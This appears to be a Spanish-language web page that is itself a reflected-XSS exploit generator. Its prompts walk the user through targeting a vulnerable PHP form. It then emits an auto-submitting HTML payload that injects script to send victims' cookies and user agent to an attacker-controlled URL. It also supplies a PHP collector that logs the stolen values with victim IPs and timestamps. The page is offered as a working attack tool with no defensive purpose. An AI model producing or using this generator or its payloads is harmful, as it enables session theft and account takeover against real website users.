<!DOCTYPE html>
<meta charset="utf-8">
<html>
<!-- Creado Por StringManolo
https://github.com/StringManolo/RXSSGen -->
<head>
<title>Generador Exploits para explotación de Reflected XSS</title>
<script>
"use strict";
var archivoPHP = "";
var paramPHP = "";
var dejarAlerts = true;
function ComprobarAlerts()
{
   if(!dejarAlerts)
   {
   window.alert = function () {}
   window.prompt = function() {}
   window.confirm = function() {}
   }
}
function CrearHTML()
{
dejarAlerts=confirm("Este generador utiliza alertas para guiarle en el proceso.\n\nPulse aceptar para continuar con la ayuda. (Recomendado si es su primera vez).\n\nSi no necesita asistencia pulse cancelar.");
ComprobarAlerts();
alert("Generador de Exploits para Cross Site Scripting Reflejado via POST.");
try{
document.getElementsByTagName('div')[1].outerHTML = prompt("Introduzca la dirección WEB junto al nombre del PHP vulnerable.\n\nEj:\nhttps://WebVulnerable.com/LoginVulnerable.php\n\nSi está explotando un formulario, revise a que documento.php se está realizando la petición.\n\nPor ejemplo action=\"login.php\" equivaldría a:\nhttps://webvulnerable.com/login.php\n\nSi el action existe y está vacio, hace referencia a la propia página. Fíjese en la ruta."); 
} catch(err){alert(err)}
try{
document.getElementsByTagName('div')[1].outerHTML = prompt("Introduzca el nombre del parámetro reflejado. Ej: email\n\nDe existir, este es el parámetro que es enviado dentro del cuerpo de la petición HTTP. Puede capturar una petición realizada desde el sitio vulnerable con un Proxy o en su defecto revisar el código fuente. Si está explotando un formulario es posible que el nombre del parámetro se encuentre entre dobles comillas dentro del atributo name de la siguiente forma: name=\"password\" \n\nIntroduzca el parámetro sin comillas.");
} catch(err){alert(err)}
try{
archivoPHP=prompt("Introduzca su dirección WEB y el nombre del archivo PHP que recibirá la petición POST desde el objectivo.\n\nEj:\nhttps://WebMaliciosa.com/ReciboPeticionConCookies.php");  document.getElementsByTagName('div')[1].outerHTML=archivoPHP;
} catch(err){alert(err)}
try{
paramPHP=prompt("Introduzca el nombre del parámetro que se enviará por POST. Este parámetro es el nombre del índice que debe leer en su archivo PHP, $cookieUserAgent = $_POST[\"NombreParámetro\"]\n\nEj:\nCookie");
document.getElementsByTagName('div')[1].outerHTML=paramPHP;
} catch(err){alert(err)}
try{
document.getElementsByTagName('div')[1].outerHTML = prompt("Introduzca el script a ser ejecutado en el navegador objetivo de la explotación cuando el mismo se encuentre en la web vulnerable. El resultado/return de la expresión será asignado al atributo VALUE para posteriormente ser enviado automáticamente a donde fuere indicado. Si no lo tiene claro, introduzca cualquier valor reconocible y edite a mano el código generado desde esta propia página. Si por ejemplo desea obtener las cookies y el user agent, proceda a introducir:\n\ndocument.cookie+navigator.userAgent");
} catch(err){alert(err)}
alert("El documento HTML se completó. Puede editarlo o copiarlo directamente al portapapeles.\n\nRecuerde presionar el botón si desea añadir el parámetro al documento PHP");
}
function CrearPHP()
{
alert("Recordatorio: Cuando guarde el archivo, recuerde subirlo en la misma ruta y nombre que seleccionó previamente.\n\nRecordatorio: " + archivoPHP);
for(var q = 0; q < 4; ++q) document.getElementsByTagName('code')[0].outerHTML = paramPHP;
}
</script>
</head>
<body onload="CrearHTML()">
<p>HTML:
<div contenteditable="true" style="width:90%;height:400px;overflow-y:scroll;padding:10px;background-color:#ffc0c0;align:center">
<xmp><form name="ataque" method="POST" id="xD" action="</xmp><div></div><xmp>">
<input type="hidden" name="</xmp><div></div><xmp>" id="fuckit" value="daigual"></form>       
<script>
var form="<form name=\"ataque2\" method=\"POST\" id=\"formu2\" action=\"</xmp><div></div><xmp>\"><input type=\"hidden\" name=\"</xmp><div></div><xmp>\" id=\"fuckfuck\" value=\"lul\"></form>\<\script> try{document.getElementById(\"fuckfuck\").value = </xmp><div></div><xmp>;}catch(ERROR){}setTimeout(ataque2.submit(),1);<\/\script>";
try
{
document.getElementById("fuckit")
.value = form;
}
catch(error)
{
alert(error);
}
setTimeout(ataque.submit(),1);      
</script>
</xmp>
</div></p><br />
<p><button type="button" onclick="CrearPHP()">Crear PHP</button></p>
<p>
PHP:
<div contenteditable="true" style="width:90%;height:300px;overflow-y:scroll;padding:10px;background-color:#c0c0ff;align:center">
<xmp>
<html>
<body>
<?php
    $yourdomain = $_SERVER['HTTP_HOST'];
    $yourdomain = preg_replace('/^www\./' , '' , $yourdomain);
    if(!empty($_POST["</xmp><code></code><xmp>"]))
    {
    $</xmp><code></code><xmp> = $_POST["</xmp><code></code><xmp>"];
    echo "Hola! Bienvenido a mi página web. Que tenga usted una estancia agradable buen señor.";
    }
    $FechaServidor=gmdate("Y-m-d h:i:s",time());
    $IP=$_SERVER['REMOTE_ADDR'];
    $endl=PHP_EOL;
    file_put_contents("xD.txt",$endl, FILE_APPEND); 
    file_put_contents("xD.txt",$endl, FILE_APPEND);
    file_put_contents("xD.txt",$FechaServidor, FILE_APPEND);
    file_put_contents("xD.txt",$endl, FILE_APPEND);
    file_put_contents("xD.txt",$IP, FILE_APPEND);
    file_put_contents("xD.txt",$endl, FILE_APPEND); 
    file_put_contents("xD.txt", $</xmp><code></code><xmp>, FILE_APPEND);
?>
</body>
</html>
</xmp>
</p>
</body>
</html>
PHP:
Comentarios
Publicar un comentario